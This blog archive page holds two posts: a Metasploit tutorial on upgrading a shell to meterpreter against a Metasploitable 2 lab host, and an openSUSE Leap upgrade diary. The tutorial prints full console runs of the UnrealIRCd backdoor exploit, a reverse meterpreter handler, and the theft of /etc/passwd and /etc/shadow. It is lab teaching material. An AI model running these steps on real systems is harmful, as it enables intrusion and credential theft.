Monthly Archives: November 2020

Penetration testing: Kali, Metasploit, upgrade of a session to meterpreter

Posted on by

Recently, I started reading in the German book of E. Amberg and D. Schmid on “Hacking” (see the full reference at this post’s end). This is a book with over 1000 pages and it documents the effort of the authors to give a full overview over the wide spectrum of terms used in pen-test and hacking environments, steps of penetration testing, attack variants, tools, defense options, and, and …. . Well, it provides a really broad overview, but in contrast to some other more focused books it is not a real teaching book on penetration testing – in my opinion.

However, at some points the authors describe introductory examples, also simple exploits which can be tested e.g. on targets like Metasploitable 2 or 3 or on prepared Windows systems. This post was inspired by a chapter of the authors about “meterpreter” which they introduced after an exploitation example, i.e. in a post exploitation phase. The chapter deserves some additional hints, small, but hopefully useful for beginners.

Disclaimer:
All the information given in this post is for educational purposes and addresses people interested in and starting with penetration testing. It partially refers to information on the Metasploit Framework [MSF] and Metasploitable targets published in different form elsewhere. Book references are given at the end of this post. If you test out the examples given below, only do this in environments for which the owners and the administrators of the affected networks and systems have given you explicit written consent to install, isolate and use systems with MSF and a Metasploitable target system. Cooperate with the administrators to configure respective network segments and firewalls. Never expose a Metasploitable system to the Internet.

Exploits and shells

During pen-testing (always with the consent of your customer and system administrator) you may not only be requested to find vulnerabilities, but also to verify that an attacker really could exploit them. So – again with the explicit consent of your customer and after a solid risk estimation for the systems and networks under investigation – you may start exploits, e.g with the help of the Metasploit framework [MSF]. Your first objective then – for convenience reasons, but also for obfuscation reasons – is probably to work with a meterpreter shell, which indeed offers a variety of very convenient commands for a post exploitation phase. Often exploits offered by the MSF will not give you a chance to transfer meterpreter as a payload, but only simple interaction shells.

To replace a basic command shell of an achieved session on an attacked target with meterpreter actually is a basic move within MSF, but you may have to take care of some steps ahead. In the named book the authors mention a specific method, namely to upgrade an existing “session” to a meterpreter session.

Upgrade of a plaintext command shell with “sessions -u“

The named authors perform the following attack steps to get a session on a Metasploitable target:

  1. They use the exploit DistCC from a Kali host and get a command shell.
  2. They use an additional exploit for a privilege escalation to get root rights and to open a reverse shell to the attacking host; they provide the IP address of the Kali host and a listener port there as parameters of the exploit. They then prepare a suitable executable of the exploit and install it on the attack’s target host (i.e. the Metasploitable system).
  3. They start a listener (with “exploit/multi/handler”) on the Kali host. During this step they set the IP-address of the Kali host and the port there to be addressed by the reverse connection later on.
  4. They start the deployed
    secondary exploit on the attack target. Immediately afterward they get a session with a basic shell with MSF on the attacking Kali system.
  5. They list up the open sessions by “sessions -l” and get the session’s ID – e.g. 2.
  6. They upgrade the session to a meterpreter session with “sessions -u SESSION_ID“. SESSION_ID has to be replaced by the session ID. In the example: “sessions -u 2”.

So far, so good. Works perfectly – at least after this specific succession of steps.

Interestingly enough Rapid7 in its documentation on the (expensive) Metasploit Pro does not discuss the command line option “sessions -u” to upgrade a sessoin – Rapid 7 only presents the option to start a meterpreter shell via the “available actions” on the graphical interface of MSF Pro. Probably the interface does nothing else than our CLI command ….

https://docs.rapid7.com/metasploit/manage-meterpreter-and-shell-sessions

Note that Sparc Flow in his book “Hack like a Pornstar” uses a different way in his example of attacking a Linux server. He manually prepares a meterpreter executable (with the help of “veil”) and places it on the attacked host and starts it there. Maybe more realistic. MSF in the above example transfers meterpreter components to the attacked host as a part of the last step.

Now, a beginner to metasploit may try to repeat something similar with a different basic exploit and may fail with the session upgrade. Why?

Think about firewalls – both remote and local

A trivial point might be a firewall- somewhere …
As a pen-tester you probably want to protect your own systems during tests – also when you are at a customer’s site. (You may find some guys there who try to fiddle with you during your tests.) Your Kali will run on an isolated virtual machine or special live system on some laptop. You may have some routing and a local firewall in place on your Linux host system which controls the communication to your Kali (guest) system. But also the attacked host may reside behind a firewall (e.g. of a network segment). So, you have to carefully think about which ports to use for reverse shells. This is a basic first point where real examples may differ from the idealized world in books. I recommend to train quick reconfigurations of your own firewalls – and watch their actions via “tail” during pen-tests.
Actually, if did not have to think about firewalls and the example given by the named authors worked as described without problems this is the first indication that the network and systems on it are not well managed or that you yourself are not well prepared.

Is meterpreter an optional payload of all exploits available in MSF?

Some other textbooks introduce meterpreter as a direct payload of an exploit used within MSF. One example is M. Messner’s book on Metasploit. However, many exploits available in MSF do not give you this chance. Book examples typically do and can not cover all situations. So, one should be familiar with some way of upgrading a session … Let us look at an example with “Metasploitable 2” as a target system.

Example – IRC exploit on Metasploitable 2

Lets try a specific attack from a Kali system against a Metasploitable 2 target. Each host resides in an (isolated) LAN segment.
As I have performed this attack before I already have a respective vulnerability entry in the database tables of my MSF workspace: 

msf6 > vulns

Vulnerabilities
===============

Timestamp                Host           Name                                           References
---------                ----           ----                                           ----------
...
...
2020-11-26 17:15:14 
UTC  172.16.40.121  UnrealIRCD 3.2.8.1 Backdoor Command Execution  CVE-2010-2075,OSVDB-65445,URL-http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt
2020-11-26 17:34:31 UTC  172.16.40.121  VSFTPD v2.3.4 Backdoor Command Execution       OSVDB-73573,URL-http://pastebin.com/AetT9sS5,URL-http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
2020-11-26 17:44:45 UTC  172.16.40.121  Generic Payload Handler    
...

Ok, let MSF do its work:

Infos about the exploit: 

msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor 
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > info

       Name: UnrealIRCD 3.2.8.1 Backdoor Command Execution
     Module: exploit/unix/irc/unreal_ircd_3281_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-06-12

Provided by:
  hdm <x@hdm.io>

Available targets:
  Id  Name
  --  ----
  0   Automatic Target

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   6667             yes       The target port (TCP)

Payload information:
  Space: 1024

Description:
  This module exploits a malicious backdoor that was added to the 
  Unreal IRCD 3.2.8.1 download archive. This backdoor was present in 
  the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 
  2010.

References:
  https://cvedetails.com/cve/CVE-2010-2075/
  OSVDB (65445)
  http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt

Here we see already that this exploit does not provide much space for action on the target system. There are not many option either: 

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   6667             yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

OK, does it have a “check” option?

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOST 172.16.40.121
RHOST => 172.16.40.121
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > check
[-] Check failed: NoMethodError This module does not support check.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >

What payloads are available?

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads
===================

   #   Name                                Disclosure Date  Rank    Check  Description
   -   ----                                ---------------  ----    -----  -----------
   0   cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   1   cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   2   cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   3   cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   4   cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   5   cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   6   cmd/
unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   7   cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   8   cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   9   cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   10  cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   11  cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)

No meterpreter there. OK, a normal shell then … 

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/bind_perl
payload => cmd/unix/bind_perl

Further options? 

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  172.16.40.121    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   6667             yes       The target port (TCP)


Payload options (cmd/unix/bind_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST  172.16.40.121    no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

Do not getconfused by the LPORT setting. In this case it means the listening port at the attacked site – not on our local Kali host. Do our firewalls allow for packets to port 4444 on the target? Yes, OK, then we run the exploit:

Using the exploit:

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[*] 172.16.30.129:6667 - Connected to 172.16.40.121:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
[*] 172.16.30.129:6667 - Sending backdoor command...
[*] Started bind TCP handler against 172.16.40.121:4444
[*] Command shell session 1 opened (0.0.0.0:0 -> 172.16.40.121:4444) at 2020-11-28 14:04:02 +0100

The interesting line is the last one, no IP address of our own attacking host appears. However, netstat on the Kali host reveals: 

netstat -an | grep 4444
tcp        0      0 192.168.77.22:46705     172.16.40.121:4444      VERBUNDEN

Our exploit setup a TCP listener on port 4444 on the target and we connected with a command shell. We should be able to see this from our shell; we just type at the blinking cursor in Metasploit: 

    

whoami
root
netstat -an | grep 4444
tcp        0      0 172.16.40.121:4444      192.168.77.22:46705     ESTABLISHED

Well, we became root even with this backdoor exploit. But this is only a side remark.

Now, let us use the recipe from the “Hacking”-book authors:
We press the “CTRL-Z” key combination to put our session to the background and get an option to issue further commands at the metasploit prompt: 

Background session 1? [y/N]  y
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               0.0.0.0:0 -> 172.16.40.121:4444 (172.16.40.121)

The command “sessions” revealed a session ID to us. Now, we use the exploit shell_to_meterpreter.

Apply “shell_to_meterpreter” and “multi/handler” indirectly via ”
sessions -u”

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 0.0.0.0:4433 
[*] Command stager progress: 100.00% (769/769 bytes)
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               0.0.0.0:0 -> 172.16.30.129:4444 (172.16.30.129)

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >

We had expected a new meterpreter session. But nothing happens. After some time we even get a message that the started handler was stopped: 

[*] Stopping exploit/multi/handler

So, what is wrong?

The manual way to upgrade to meterpreter …

When we compare our exploit to the one discussed by the authors of the “Hacking”-book we see some differences:

The authors used a reverse shell payload. At some point they specified the IP address of the attacking host, i.e. of our Kali system. In their case the “sessions” command displayed a session which explicitly contained the IP-address of the local attacker host, i.e. of the Kali system.

Hmm. We doubt that meterpreter needs an already existing reverse shell established. Reading a bit we understand that meterpreter works as staged program. Things get uploaded in pieces via an established shell to the target’s TCP handler and from there into the target’s RAM.

But what if the meterpreter piece on the target requires the IP of the host because it wants to connect to the host, i.e. built its own reverse connection from the point of the view of the attacker? And what if this is taken wrongly from the running session? Or what if a local listener on the attacking Kali host is established with a wrong IP address? Then we expect problems!

Even if we later on establish a session from the Kali host to the target the uploaded and RAM-established meterpreter part on the target needs to tell the attacking host which port it will use on the target! Thus, the communication setup on both hosts must work correctly!

Let us see. There is a manual “exploit” module and command to establish meterpreter. It is even mentioned by the authors of the “Hacking”-book, but they do not elaborate on it: “/post/multi/manage/shell_to_meterpreter“.
We saw a line about it in the output of “sessions -u”, too. Ok, let us use it:

Direct use of shell to meterpreter

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > use post/multi/manage/shell_to_meterpreter 
msf6 post(multi/manage/shell_to_meterpreter) > info

       Name: Shell to Meterpreter Upgrade
     Module: post/multi/manage/shell_to_meterpreter
   Platform: Linux, OSX, Unix, Solaris, BSD, Windows
       Arch: 
       Rank: Normal

Provided by:
  Tom Sellers <tom@fadedcode.net>

Compatible session types:
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
  LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
  LPORT    4433             yes       Port for payload to connect to.
  SESSION                   yes       The session to run this module on.

Description:
  This module attempts to upgrade a command shell to meterpreter. The 
  shell platform is automatically detected and the best version of 
  meterpreter for the target is selected. Currently 
  
meterpreter/reverse_tcp is used on Windows and Linux, with 
  'python/meterpreter/reverse_tcp' used on all others.

We see that indeed reverse TCP handlers are established – meterpreter on the target will want to connect back to us. It starts a handler for it. And we have to provide suitable options: 

msf6 post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on.

Ok, we decide for a local port 8090 – and open it on firewalls. We set the relevant options: 

post(multi/manage/shell_to_meterpreter) > set LHOST 192.168.77.22
LHOST => 192.168.77.22
msf6 post(multi/manage/shell_to_meterpreter) > set LPORT 8090
LPORT => 8090
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1

Successful session upgrade

msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.77.22:8090 
[*] Sending stage (976712 bytes) to 172.16.40.121
[*] Meterpreter session 2 opened (192.168.77.22:8090 -> 172.16.40.121:53847) at 2020-11-28 15:55:06 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                                                       Connection
  --  ----  ----                   -----------                                                                       ----------
  1         shell cmd/unix                                                                                           0.0.0.0:0 -> 172 .16.40.121:4444 (172.16.40.121)
  2         meterpreter x86/linux  root @ metasploitable (uid=0, gid=0, euid=0, egid=0) @ metasploitable.localdo...  192.168.77.22:8090 -> 172.16.40.121:53847 (172.16.40.121)

Success! On our Kali host netstat reveals:

Aktive Internetverbindungen (Server und stehende Verbindungen)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
...
tcp        0      0 192.168.77.22:8090      172.16.40.121:53847     VERBUNDEN  
tcp        0      0 192.168.77.22:46705     172.16.40.121:4444      VERBUNDEN  
...

Let us use session 1 first: 

msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 1
[*] Starting interaction with 1...

netstat -an | grep 4444 
tcp        0      0 172.16.30.129:4444      192.168.10.12:46705     ESTABLISHED
netstat -an | grep 8090
tcp        0      0 172.16.30.129:53847     192.168.10.12:8090      ESTABLISHED

Now we press the key combination “Ctrl-Z“, again, and switch to session 2 by using “sessions -i” (the “i” stands for “interaction”): 

Background session 1? [y/N]  y
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > pwd
/etc/unreal
meterpreter > sysinfo
Computer     : metasploitable.localdomain
OS           : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > lcd /root
meterpreter > lpwd
/root
meterpreter > 
getlwd
/root
meterpreter > download /etc/passwd ./metasploitable2
[*] Downloading: /etc/passwd -> ./metasploitable2/passwd
[*] Downloaded 1.54 KiB of 1.54 KiB (100.0%): /etc/passwd -> ./metasploitable2/passwd
[*] download   : /etc/passwd -> ./metasploitable2/passwd
meterpreter > download /etc/shadow ./metasploitable2
[*] Downloading: /etc/shadow -> ./metasploitable2/shadow
[*] Downloaded 1.18 KiB of 1.18 KiB (100.0%): /etc/shadow -> ./metasploitable2/shadow
[*] download   : /etc/shadow -> ./metasploitable2/shadow
meterpreter > route

IPv4 network routes
===================

    Subnet       Netmask        Gateway      Metric  Interface
    ------       -------        -------      ------  ---------
    0.0.0.0      0.0.0.0        172.16.40.1  100     eth0
    172.16.40.0  255.255.255.0  0.0.0.0      0       eth0

No IPv6 routes were found.

The system is yours, now. As an example, we have downloaded the password files from the Metasploitable system to a prepared local directory for later analysis.

Enough for today. Let us kill all sessions after a “Ctrl-Z”: 

Background session 2? [y/N]  
msf6 post(multi/manage/shell_to_meterpreter) > sessions -K
[*] Killing all sessions...
[*] 172.16.30.129 - Command shell session 1 closed.
[*] 172.16.30.129 - Meterpreter session 2 closed.

What was the reason for the failure in the first trial with “sessions -u”?

You can repeat out first attack and start “sessions -u”. You have some time until the multi-handler gets stopped again. During this time you can check communication packets with wireshark at network interfaces of the hosts. And you can have a look with netstat at listeners and ports on the hosts. You will find that packets from the targetto the Kali host are addressed correctly. But a look with netstat on the Kali host reveals: 

...
tcp        0      0 0.0.0.0:4433            0.0.0.0:*              LISTEN    
tcp        0      0 192.168.77.22:44909     172.16.40.121:4444      VERBUNDEN  
...

In case of the working solution we find in contrast: 

....
tcp        0      0 192.168.77.22:44909     172.16.40.121:4444      VERBUNDEN  
tcp        0      0 192.168.77.22:4433      172.16.40.121:46660     LISTEN   
...

and then 

tcp        0      0 192.168.77.22:4433      172.16.40.121:46660     VERBUNDEN

So, the handler for the reverse connection on the Kali host caused the problem: It took the default IP 0.0.0.0 from the original session which only had to establish a forward direction.

Conclusion

During our experiments we saw that some simple text book examples do not always work. It depends on the exploits, the handlers, the required parameters for communication settings, …. Upgrading an existing basic shell session (connected to a compromised target host) to a meterpreter session will not always work with “sessions -u”.

The success of “sessions -u” depends on the original exploit options and their payloads. Some exploit/payload combinations do not require a LHOST IP address. They do not set up a reverse connection. Instead 0.0.0.0:0 may appear after the exploit in the local MSF session overview. Then “sessions -u” will fail. Metasploit is not perfect ….

In such cases it is good to know that you can use and configure “post/multi/manage/shell_to_meterpreter” manually. In most cases this lead to a successful upgrade of an existing session to meterpreter where “sessions -u” failed.

Book references

“Hacking – Der umfassende Praxis-Guide”, Fritz Amberg, Daniel Schmidt, 2020, mitp Verlags GmbH & Co KG, Frechen

“How to … Hack like a Pornstar”, Sparc Flow, 2017, ISBN 978-1-5204-7851-7

“Metasploit- Das Handbuch zum Penetration-Testing-Framework”, M. Messner, 2012, dpunkt.
verlag GmbH, Heidelberg

 

Upgrade workstation from Opensuse Leap 15.1 to Leap 15.2

Posted on by

Two weeks ago I upgraded my main Linux-Workstation from Leap 15.1 to Leap 15.2. Some first impressions:

  • Leap 15.2 with KDE/X11 works relatively well. Some minor setting-options for the Plasma desktop have changed.
  • KDE/Wayland with Nvidia cards does not work – unusable for production.
  • No problems with QEMU based KVM- and LXC-container virtualization – my old Debian and Kali guest systems worked as expected on the Leap 15.2-host. No problems with multi-screen configurations of the guests with remote-viewer either.
  • Unexpected high power consumption of the Nvidia card – it has increased by about 5% to 8%. I am not sure whether this is a KDE or a driver problem.
  • The usual suspects for problems during the upgrade are the Nvidia drivers, Pulseaudio, VMware and this time – to my big surprise – CUPS.
  • You may have to change/reset some KDE config and rc-files in your home-directory – especially for the plasma desktop itself.
  • Chromium showed some glitches.

I shortly describe the upgrade process and some obstacles I had to overcome.

Basic upgrade process

I always prepare for a quick restoration of my running system configuration (here: Leap 15.1). Ahead of any upgrade activity, I therefore create a backup of my Leap 15.1 “/”-filesystem on an external drive and in addition create another copy in a target partition on one of my bootable disks. I use the “dd“-command for both purposes. As all productive application and development data as mails, project documents, PHP- and Python modules are on independent partitions or on network locations anyway, the risk of running into major problems afterwards is relatively small. In addition I comment certain critical entries in the “/etc/fstab” out.
In case of a major disaster a recovery can be achieved very quickly by just re-copying the copy of the Leap 15.1 partition back to its original place.

Regarding the backup of the “/”-filesystem to an external disk you have the choice between creating a copy of a partition and creating a (zipped) file. See e.g.:
https://www.poftut.com/linux-dd-command-backup-examples/
https://linoxide.com/linux-command/linux-dd-command-create-1gb-file/
I just made simple partition copies. Regarding the blocksize “bs” option of “dd” I am very generous with SSDs; I use a size like bs=1M or bs=4M to get a reasonable performance. When copying around 100 GB you probably do not want to wait for an hour :-). E.g.:

dd if=/dev/sdg1 of=/dev/sdh5 bs=4M status=progress

Warning 1:

If you copy your partition with “/”-filesystem into another partition, then the target partition must at least have the size of the original one. Really take care of this point! I always try to achieve the exact same size with a partition tool (gparted or YaST partitioner).

Warning 2:

Do not forget to change the UUID of the partition’s copy if the target partition resides on an internal disk; you should never have two filesystems with the same UUID on a system! But write down the original UUID at a safe place. Use “uuidgen
” and the “tune2fs -U” commands to change the copied filesystem’s UUID, afterwards.

See: how-to-change-filesystem-uuid-2-same-uuid

And: In case of an emergency restoration, i.e. after having copied the backup filesystem into its old position, you, of course, have to change the UUID back to the old one.

Why are these UUID-precautions required?
Because of your boot-loader – probably Grub2. Depending on its configuration (and some other system settings) it will probably have created entries in the “/boot/grub2/grub.cfg” which refer to the UUIDs of the bootable partitions. And if such a UUID-reference cannot be resolved in a unique way you may in the best case boot a system you did not want to boot, but you may also experience worse conflicts. Now, you may ask:

What is the copy on the same or another internal hard disk good for anyway?
I create the copy on my main SSD (or another internal disk) not only for restoration purposes, but also for the purpose of transforming it into a fully bootable filesystem at its new position later on – i.e. after the upgrade. I shall return this point in an extra section below.

Upgrade process

After the backup procedures I followed the guideline of the Brasilian Linux Kamarada for the upgrade; see
https://kamarada.github.io/en/2020/09/01/linux-kamarada-and-opensuse-leap-how-to-upgrade-from-151-to-152

Their way of upgrading Opnesuse systems is straight-forward and well-tested. I also liked their recent inclusion of the “releasever“-variable …

I tend to use multiple repositories besides the standard upgrade repository of Opensuse. Therefore, I had to delete quite an amount of repositories following the Kamarada recipe. If you are in the same position, you should make a screenshot of the repository-configuration in YaST to be able to reconfigure them after the upgrade. During the upgrade zypper may recognize many packages for which it has to change the repository. It is a bit of an ordeal to answer to all of the related questions, but I recommend to follow the questions with focused concentration: The order of offered alternatives may change!

Hint: Take care of sufficient filesystem-space! The download of new packages requires extra space during the upgrade period – and usually also the total size of used disk space after an upgrade typically tends to grow somewhat. Therefore: Have at least 20GB available on your “/”-filesystem. (LVM is your friend – if you use(d) it …).

After the upgrade you have to reboot (init 6). If your graphics card is from Nvidia you probably will find yourself on some console terminal and not at a desktop-manager-login (e.g. sddm or gdm3) at the end of the boot process. We must install the (new) Nvidia drivers afterwards.

Nvidia re-setup

There are at least two ways of installing Nvidia-drivers on an Opensuse-system: 1) Directly, i.e. by a manual installation with the help of of the downloaded driver installation scripts. 2) With the help of YaST and the Nvidia community repository. I have used the latter option during the last 2 years. Either way you probably prohibited loading the Opensource Nouveau driver already at some point in the past – e.g. by blacklisting the related kernel module in some of the files in “/etc/modprobe.d”. If not – it is time to do so now.

When you rebooted after the Leap 15.2 upgrade the old Nvidia modules did not work as they were not compiled for the new kernel which was installed during the upgrade. So, from the console login, which you hopefully have reached, you need to invoke YaST in ASCII-mode, activate the
Nvidia community repository and reinstall the proprietary Nvidia drivers from there. In my case the packages

nvidia-computeG05, nvidia-gfxG05-kmp-default, nvidia-glG05, x11-video-nvidiaG05

A compilation is done automatically during this update.
Hint: I also suggest to issue “mkinitrd” immediately after the driver installation to be on the safe side regarding the “initramfs”-phase of the boot-process.
This worked pretty well in may case. After a reboot I got to my SDDM-login screen afterwards. My standard X11-based graphical KDE Plasma desktop started smoothly afterwards. I also tested the functionality of my Cuda installation for Keras and Tensorflow2 – worked perfectly.

Increased idle power consumption of the graphics card on a running KDE plasma desktop (Version 5.18)
A unwelcome surprise regarding Nvidia was the following: When watching the power consumption of my graphics card with

watch -n0.1 nvidia-smi

I saw a rise in the average consumption.
An average value of the GPU load (with “Force Composition Pipeline” activated on all my 3 screens) now had a value of 15%; on my old Leap 15.1 it was below 10%. All with having set the Powermizer mode to “Adaptive” (via (nvidia-settings). I fiddled a bit around with some Nvidia settings – but found no real solution, yet. When I changed a desktop theme (with the help of “systemsettings5”) I observed a drop of power consumption to 11% – but after some movement of windows across my 3 screens it settles again at 15% – quite independent of style and desktop settings. At least with an OpenGL-compositor activated (systemsettings5 >> “screen … >> compositor”. Choosing “Xrender” leads to a drop of GPU-consumption to 9%.

What brought me down a bit to 12% with an activated OpenGL-compositor (OpenGL2 or OpenGL3.1) was to deactivate keeping window-previews:

I did not experience any real disadvantages by doing so. On Leap 15.1 the average consumption with a driver a bit older was still lower by 4% to 5%. We talk about 2 Watt here, but still I do not like such unexpected changes. I do not know whose fault this is – KDE’s or Nvidia’s. We shall see what happens with the next driver version ….

Reconfigure KDE settings

The screen order on my Plasma 5.18 desktop was OK. No screen-tearing (see: Opensuse, KDE Plasma, X11, Nvidia – stop video and screen tearing); my old “xorg.conf“-settings were respected and active.

However, when trying to change design- and plasma-style-settings via “systemsettings5” a click on the “plasma-style”-icon led to a window crash and a Plasma error. This is usually a sign that something is wrong with the KDE configuration files:

Because the KDE setting- and configuration files in the home-directory survive the upgrade untouched some may not be compatible with the new KDE version.

I do not know about an easy way to find out which of the files are to be recreated. My standard way is to make a copy of the “~/.config-directory (with a new suitable name), delete the original directory, wait until it is automatically created again (with new default settings). We
make a copy of this new default-“.config” version (with a unique name), too, and then copy the original version into its standard place again. In the end we have 3 “.config”- directories with different names – one in place with the user’s original settings, one with the new default settings and one with the original settings as “.config”.
Then I overwrite files in the “.config”-file with the new default files, at least those for which I suspect some problems – starting with the plasma-specific “plasma…..rc”-files, then the “systemsettingrc”, then “kwinrc”. Thus, the problems with “plasma-style”-settings could be resolved quickly.

I also got some problems with a standard activation of the OpenGL-compositor at the start of the plasma desktop. A change of the respective settings in the “kwinrc”-file helped – especially “Enabled=True”: 

[Compositing]
AnimationSpeed[$d]
Backend=OpenGL
Enabled=true
GLCore=true
GLPreferBufferSwap=a
GLTextureFilter=1
HiddenPreviews=4
OpenGLIsUnsafe=false
WindowsBlockCompositing=false
XRenderSmoothScale=false

Pulseaudio [PA]

A major frustration came up when I tried to start Clementine and listen to some songs – all my PA-settings were gone with the exception of the PA-LADSPA-equalizer. This had partially to do with changes in the Phonon-settings – now to be found under “systemsettings5 >> Audio“. I had to turn off my onboard HD sound card, activate my mainly used Xonar D2X explicitly and also deactivate an existing XFI-Card, too.

The dialog for setting the KDE/Phonon “standard device” have changed once again :-(. You cannot choose priorities for different sources (audio, video, …) any longer. Simplification? I hate this new KDE politics of taking more and more configuration options away from the standard user. I had to make the equalizer the “standard device” in the new dialog to direct all streams (from browsers and players) through this device.

Compare this to the settings in Leap 15.1; see KDE, Pulseaudio and Browsers – make the LADSPA equalizer the default sink.
In addition: We cannot play test sounds for the various sinks any more. This does no longer work in “YaST Audio” either … I do not call such things progress.

With PA activated “pavucontrol” serves as my primary mixer. It worked more or less as expected though some functionality has been removed there, too. E.g. the ability to remove some input channels completely. Another stupid thing which happens now regarding the default channel for volume adjustment via kmix is now that you may choose “Simultaneous output ….” – but volume controls will affect the Xonar channels, too – at least as long as no device uses the equalizer ….

It took some fiddling until I got back most of my old functionality and sound quality. I found again that its worth to reduce the Clementine input in pavucontrol down to 80% to avoid some oversteering and sound-distortion. Do not forget to set the default channel for sound control with kmix to “Simultaneous output …” for your multi-channel soundcard!

One can in addition install and activate the XFCE-mixer, which basically is a graphical frontend to an alsa mixer. This allows additional shifts of the different channels against each other – performed after pulseaudio’s own mixer settings, namely those of “pavucontrol”.

A major problem with sound and the onboard card:
For some reason a switch from the graphical terminal to a console terminal (by “Ctrl Alt F3”) automatically
activates an Nvidia HDMI stereo device on my system now. It comes up again even if I explicitly deactivated it in the KDE or PA audio settings. I have no solution for this, yet. It affects, however, at least a running Chromium (see below) – and leads to a restart of desktop effects when I return to the graphical session. I get a corresponding explicit message from Plasma ….

VMware – a yearly game of money …

VMware Workstation 15.5 Pro does not work on a Leap 15.2 host without special prerequisites. See e.g.:
https://forums.opensuse.org/showthread.php/540779-vmware-worksation-pro-15-5-not-failed
https://www.opensuse-forum.de/thread/63542-vmware-workstation-pro-leap-15-2b/?pageNo=1
https://communities.vmware.com/t5/VMware-Workstation-Pro/Can-t-compile-wmware-workstation-15-5-on-leap-15-2/m-p/2286237

However, WS Pro 16.0 does. I upgraded to this version. My Win 10 guests felt a bit more sluggish than with WS 15.5. But this may also have to do with a subsequent Upgrade of Win 10 to the 2004 version.

By the way: Note that VMware wants you to pay extra maintenance support, if you order it from SW resellers – at least here in Germany. The cheapest choice was to order it directly from the VMware shop. Do we like such anti-competition monopoly and customer control measures? No, we do not like it => time to get Windows 10 guests running on KVM machines … and to forget VMware for the future. See:
https://getlabsdone.com/10-easy-steps-to-install-windows-10-on-linux-kvm/#Customizing-the-Hardware-for-Windows-10

